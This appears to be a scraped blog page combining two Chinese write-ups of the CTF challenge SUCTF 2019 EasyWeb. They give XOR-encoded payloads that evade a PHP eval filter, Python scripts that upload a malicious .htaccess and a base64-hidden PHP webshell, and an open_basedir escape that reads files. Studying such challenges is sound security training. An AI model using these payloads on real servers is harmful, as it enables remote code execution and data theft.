[SUCTF 2019]EasyWeb

Posted coleak

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[SUCTF 2019]EasyWeb相关的知识,希望对你有一定的参考价值。

目录

代码审计

命令执行部分

文件上传部分

异或绕过preg_match脚本

文件上传脚本

解题思路

非预期解

预期解


代码审计

进入页面即是代码,进行审计

命令执行部分

<?php

$hhh = @$_GET['_'];

if (!$hhh)
    highlight_file(__FILE__);


if(strlen($hhh)>18)
    die('One inch long, one inch strong!');


if ( preg_match('/[\\x00- 0-9A-Za-z\\'"\\`~_&.,|=[\\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>
  • 正则分析

\\x00: ASCII码为0的字符
-: 连字符
0-9: 数字0到9
A-Za-z: 大小写字母
\\'": 单引号、双引号
`: 反引号
~_&.,|=: 波浪线、下划线、&符号、逗号、竖线、等于号
[\\x7F]+: ASCII码为127及以上的字符(常用于表示扩展的ASCII字符集)
其中 i 表示忽略大小写。

因此,这个正则表达式可以匹配包括数字、字母、符号以及一些特殊字符,例如扩展ASCII字符集中的字符。

这里我们用脚本直接生成payload进行绕过

文件上传部分

function get_the_flag()
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir))
    mkdir($userdir);
    
    if(!empty($_FILES["file"]))
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    

 过滤了ph后缀,文件里不能有<?,而且必须是图片文件

过滤了ph后缀,一般做法是传.htaccess或者在有php文件的情况下传.user.ini,但是不满足该目录下有php文件(这里文件上传的目录不可控企鹅不可回退遍历),因此考虑上传.htaccess文件和一个图片后缀的webshell

  • exif_imagetype

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

exif_imagetype - 确定图像的类型

exif_imagetype()读取图像的第一个字节并检查其签名。

这里在.htaccess文件中直接添加GIF89a会影响该文件的作用导致失败

用以下两种方法让我们的.htaccess生效

#define width 1337
#define height 1337
在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

文件内容不能有<?
一般是用<script language="php"></script>来绕过,但是因为这题的PHP版本是7.3.4,<script language="php"></script>这种写法在PHP7以后就不支持了,因此不行。

  • 新姿势
#define width 1337
#define height 1337 
AddType application/x-httpd-php .feng
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c41893938531041badacfc22febe3abd/123.feng

利用auto_append_file来包含b64解码的123.feng文章,这样往123.feng里面写b64解密后的马,就可以绕过<?的过滤了。

但是还有一个细节需要注意,我们的123.feng也需要是个图片,需要在前面加上GIF89a,但是这只有6个字符,需要再随便加上2个base64有的字符,这样解码的时候才能正确解码,而且不会影响到后面的PHP一句话

GIF89a00PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

密码是1 

异或绕过preg_match脚本

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
   
    for($j=0;$j<255;$j++)
    
        $k = chr($j)^chr(255);      \\\\dechex(255) = ff
        if($k == $argv[$i])
        	if($j<16)
        		$l .= "%ff";
                $r .= "%0" . dechex($j);
        		continue;
        	
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        
    

echo "\\$l`$r\\";
?>

%ff%ff%ff%ff^%a0%b8%ba%ab //异或结果为$_GET,$_GET%ff

%ff%ff%ff%ff`%a0%b8%ba%ab

$%ff%ff%ff%ff^%a0%b8%ba%ab%ff();&%ff=phpinfo

传入后实际为:?_=$_GET%ff();&%ff=phpinfo

最终利用那个文件上传函数

$%ff%ff%ff%ff^%a0%b8%ba%ab%ff();&%ff=get_the_flag 

文件上传脚本

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .coleak
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.coleak"
"""
shell = b"GIF89a00" + base64.b64encode(b"<?php eval($_REQUEST[1]);?>")
url = "http://4028da5b-e08f-416a-ac17-294cc9922bba.node4.buuoj.cn:81/?_=$%ff%ff%ff%ff^%a0%b8%ba%ab%ff();&%ff=get_the_flag"

files = 'file':('.htaccess',htaccess,'image/jpeg')
data = "upload":"Submit"
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = 'file':('shell.coleak',shell,'image/jpeg')
response = requests.post(url=url, data=data, files=files)
print(response.text)

upload/tmp_f9e1016a5cec370aae6a18d438dabfa5/.htaccess
upload/tmp_f9e1016a5cec370aae6a18d438dabfa5/shell.coleak

解题思路

非预期解

在phpinfo里面找到flag

预期解

上传文件后执行命令

测试蚁剑的GC_UAF和Backtrace_UAF插件可以直接绕过disable_functions和目录限制

[SUCTF 2019]EasyWeb

文章目录


前言

学习完这道题,受教了~

往往直接给出源码的题目,知识量要求不是很广,但是要求学习精度要很高~


一、bypass

观察源码,发现这里的preg_match()函数运用得很严格,就是把所有的数字和字母都过滤了,而且还过滤了一些特殊字符~

可以尝试稍微fuzz一下可视字符,看看有哪些是可以使用的。

<?php 
	for($i=0;$i<128;$i++)
	
		if(preg_match('/[\\x00- 0-9A-Za-z\\'"\\`~_&.,|=[\\x7F]+/i', chr($i)))
			continue;
		else
			echo (chr($i));
	
?> 
结果:
!#$%()*+-/:;<>?@\\]^ 

发现这一段限制了使用字符的种类不能超过'12'。

其中看到这里就可以大致了解到这是一个考点为“取反”、“异或”绕过类型

但是由于我们fuzz后得到的可视字符中没有“取反符号”——“~”

所以这是一个考察“异或bypass”的知识点。

所以这里我参考了别人的PHP脚本:

<?php
$l = "";
$r = "";
$argv = str_split("_GET"); //这里是要异或的字符串
var_dump( $argv);
for($i=0;$i<count($argv);$i++)
   
    for($j=0;$j<255;$j++)
    
        $k = chr($j)^chr(254);      //dechex(254) =fe    %fe是一个不可视的字符,一般过滤不到,dechex()是将十进制转为16进制
        if($k == $argv[$i])
        	if($j<16)
        		$l .= "%fe";
                $r .= "%0" . dechex($j);
        		continue;
        	
            $l .= "%fe";
            $r .= "%" . dechex($j);
            continue;
        
    

echo "\\$l`$r\\";   //这里不直接使用^是为了能正常输出显示
?>

得到:

\\%fe%fe%fe%fe`%a1%b9%bb%aa\\

我们修改一下关键部分:%fe%fe%fe%fe^%a1%b9%bb%aa

最后这里是可以相当于注入点

我们修改一下GET传参内容: 

?_=$%fe%fe%fe%fe^%a1%b9%bb%aa%fe();&%fe=phpinfo

相当于

?_=$_GET%fe();&%fe=phpinfo

相当于

?_=$_GETphpinfo();

经过eval($hhh);

相当于eval(phpinfo());

这样就可以执行我们的函数了

注意:需要通过phpinfo()来发现当前工作的目录环境

这里为:/var/www/html

二、文件上传

之前都是有文件上传页面的,所以这次是我第一次使用脚本去上传文件~~(有点菜)

观察这一段代码,有三层的过滤:

第一层:过滤了含有字符串“ph”的文件名

第二层:过滤了开头部分“<?”

第三层:过滤非图片文件

解决方式:

一、使用.htaccess文件上传

因为使用.user.ini需要目录有.php文件,这里还不好判断

二、原本是打算使用<script>标签来绕过的,但是通过之前的phpinfo发现这PHP版本高于7.2了,所以这个标签被废除了。

这里是使用了base64编码来绕过的。(一会看了EXP就清楚了)

三、在文件头添加大小标识、或者使用图片头都可以

#define width 1000
#define height 1000

或者

GIF89a

这个get_the_flag()函数是用来给我们上传木马文件的,所以这里需要跟我们之前的bypass联动起来。

import requests
import base64

url="http://4051edd0-8f0a-4a0e-b2c0-45c0b74666cb.node4.buuoj.cn/"
first="?_=$%fe%fe%fe%fe^%a1%b9%bb%aa%fe();&%fe=get_the_flag"

file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
file_all='file':('.htaccess',file_content,'image/jpeg')

response=requests.post(url=url+first,files=file_all)

print(response.text)  #成功上传了.htaccess文件,接下来就是木马文件了

file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")

file2_all='file':('get.jpg',file2_content,'image/jpeg')
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)

结果:

通过“蚁剑”远程连接http://53470fe2-56c5-4d3f-8dc0-000d7638c5e1.node4.buuoj.cn:81/upload/tmp_020598b5c37fc1206644e58debc9ecf2/get.jpg

发现无法直接连接到目标服务器

 

通过大佬们的WP发现了open_basedir限制了我们访问的目录。

open_basedir知识点

修改脚本后,直接在脚本上获取目录信息

import requests
import base64

url="http://53470fe2-56c5-4d3f-8dc0-000d7638c5e1.node4.buuoj.cn:81/"
first="?_=$%fe%fe%fe%fe^%a1%b9%bb%aa%fe();&%fe=get_the_flag"

file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
#或者resource=./get.jpg
file_all='file':('.htaccess',file_content,'image/jpeg')

response=requests.post(url=url+first,files=file_all)

print(response.text)  #成功上传了.htaccess文件,接下来就是木马文件了

file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")

file2_all='file':('get.jpg',file2_content,'image/jpeg')
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)

#开始执行
cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir('/'));"
end=requests.post(url=url+response2.text+cmd)
print(end.text)

结果是:

 

 再次修改脚本

import requests
import base64

url="http://53470fe2-56c5-4d3f-8dc0-000d7638c5e1.node4.buuoj.cn:81/"
first="?_=$%fe%fe%fe%fe^%a1%b9%bb%aa%fe();&%fe=get_the_flag"

file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
#或者resource=./get.jpg
file_all='file':('.htaccess',file_content,'image/jpeg')

response=requests.post(url=url+first,files=file_all)

print(response.text)  #成功上传了.htaccess文件,接下来就是木马文件了

file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")

file2_all='file':('get.jpg',file2_content,'image/jpeg')
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)

#开始执行
#cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir('/'));"
cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);echo file_get_contents('/THis_Is_tHe_F14g');"
end=requests.post(url=url+response2.text+cmd)
print(end.text)

结果是:

 完


总结

暑假还是要加把劲啊,这速度跟不上了~

以上是关于[SUCTF 2019]EasyWeb的主要内容,如果未能解决你的问题,请参考以下文章

[SUCTF 2019]EasyWeb

[SUCTF 2019]EasyWeb

WEB|[SUCTF 2019]Pythonginx

BUU-WEB-[SUCTF 2019]CheckIn

BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1

BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1